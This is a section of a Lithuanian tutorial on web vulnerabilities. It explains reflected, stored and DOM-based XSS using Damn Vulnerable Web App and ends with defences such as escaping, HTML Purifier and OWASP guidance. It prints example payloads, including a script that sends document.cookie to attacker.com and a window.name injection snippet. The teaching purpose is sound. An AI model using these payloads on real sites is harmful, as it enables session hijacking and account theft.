Pagrindiniai web sistemų pažeidžiamumai Ir saugos būdai


2. XSS atakos

 

XSS (Cross-Site Scripting) pažeidžiamumas leidžia įsilaužėliui įterpti naršyklėje vykdomą kodą į kitų vartotojų peržiūrimą Web puslapį. Šiomis dienomis tai ypač dažnai išnaudojamas pažeidžiamumas. XSS išnaudojimai paprastai remiasi tos pačios kilmės politikos koncepcija (Same Origin Policy)[8], kuri iš esmės leidžia tik to paties puslapio resursams sąveikauti tarpusavyje be jokių specialių apribojimų. XSS atakos metu savavališkai įterptas kodas yra vykdomas nieko nenuotuokiančio vartotojo naršyklėje, šis kodas paprastai naudojasi papildomomis privilegijomis (pagal tos pačios kilmės politiką). XSS yra išnaudojamas tokiems tikslams, kaip vartotojo sesijų užgrobimas (session hijacking), Web puslapių sudarkymas,kenkėjiško turinio įterpimas, vartotojų nukreipimas į kitus puslapius/turinį ir pan. Išskiriami trys XSS pažeidžiamumų tipai:

1) Atsispindintis (reflected arba non-persistent) – įterptas kodas „atsispindi“ Web aplikacijoje. Dažniausiai toks kodas yra siunčiamas HTTP užklausos parametre, o Web aplikacija savo ruožtu, nepakankamai apvalydama šiuos parametrus, jį grąžina kliento naršyklei. Galiausiai kodas yra įvykdomas vartotojo naršyklėje.

Naudojant Damn Vulnerable Web App į įvesties laukelį įvedame:

<script>alert('xss')</script>

Žemiau pateikta pateikta grąžinamo rezultato iliustracija, įrodanti XSS pažeidimo egzistavimą:

xss-dvwa

Išnaudojant šio tipo pažeidžiamumus, paprastai siekiama, kad auka apsilankytų specifinėje nuorodoje į pažeidžiamą puslapį, kurioje yra iterptas specialus naršyklės kodas. Stengiamasi, kad tokios nuorodos atrodytų kuo mažiau įtartinos, tam pasiekti yra daugybė būdų.

2) Išsaugotas (stored arba persistent) – įterptas kodas yra išsaugojamas Web aplikacijoje (paprastai duomenų bazėje) ir neapvalytas yra grąžinamas kliento naršyklei. Tradicinis šiam pažeidžiamumui taikomas pavyzdys yra interneto forumai, kuriuose vartotojams leidžiama savo žinutėse įterpti HTML kodą. Pažeidžiama Web aplikacija, neišskirdama neleistinų HTML gairių, suteikia galimybę išsaugoti naršyklės kodą ir pateikti jį vykdymui kitiems vartotojams. Tokio tipo pažeidžiamumų
išnaudojimo rezultatai yra labiau niokojantys – dažnai specialiai sudarkomas Web puslapio turinys, vartotojai nukreipiami į kitus žalingus puslapius ir pan.

 

Pavyzdyje žemiau į Damn Vulnerable Web App svečių knygos pažeidžiamą modulį įterpiame specialų kodą, leidžianti pasiekti autentifikuoto vartotojo sausainėlius:

xss-stored1

Peržiūrint svečių knygą su viršuje palikta žinute gauname šį rezultatą (sausainėliuose randamas slaptas prisijungusio vartotojo sesijos raktas):

xss-stored2

Populiaraus šio pažeidimo išnaudojimo metu įsilaužėlis gali įterpti kodą, siunčiantį vartotojų sausainėlius į savo serverį. Tokio kodo pavyzdys:

<script>new Image().src='http://attacker.com/log.cgi?c='+encodeURI(document.cookie);</script>

Pagrobti slapti vartotojų sesijų duomenys gali būti nesunkiai panaudoti atliekant neautorizuotus veiksmus jų vardu.

3) DOM tipo XSS (DOM Based XSS) – įterptas kenkėjiškas turinys yra naudojamas DOM (Document Object Model)[9] manipuliacijose. Tradiciškai DOM yra naudojamas klientų pusės scenarijuose (Javascript) sąveikai su puslapio turiniu ir charakteristikomis. Išnaudojant DOM tipo XSS pažeidžiamumus dažniausiai manipuliuojama šiais DOM parametrais: document.referer, window.name, location. Pavyzdžiui window.name parametras gali būti lengvai pakeistas, aukai apsilankius puslapyje su tokiu kodu (turint omeny, kad victim.com yra pažeidžiamas puslapis)[10]:

window.open('http://www.victim.com/domxss/windowname.html', '<script>kenkėjiškas kodas</scr' + 'ipt>', '', false);

Tokių būdu, Web aplikacijai tiesiogiai atvaizduojant window.name parametrą, aukos naršyklėje gali būti vykdomas kenkėjiškas kodas.

Apsisaugojimui nuo XSS yra aktyviai naudojamos išvesties ir jau minėtos įvesties filtravimo technikos. Pirmas apsisaugojimui skirtas žingsnis yra identifikuoti atvejus,
kada vartotojo kontroliuojama įvestis yra grąžinama kaip atsakymas kliento naršyklei. Dauguma Web aplikacijų, kurios neleidžia vartotojams naudoti laisvai pasirinkto HTML, CSS kodo, turėtų naudoti išskyrimo (escape) funkcijas atitinkamiems specialiems simboliams bei gairėms. Verta paminėti, kad šie apsisaugojimo būdai dažniausiai būna nepakankami, tobulėjant ir augant technologijoms, tobulėja ir XSS išnaudojimų technikos, todėl sudėtingesnėms interaktyvioms Web aplikacijoms rekomenduojama naudoti saugaus duomenų kodavimo bibliotekas, tokias kaip HTML Purifier[25]. Daugiau apie apsisaugojimą nuo XSS galite paskaityti OWASP išleistame dokumente „XSS (Cross-Site Scripting Prevention Cheat Sheet“[11].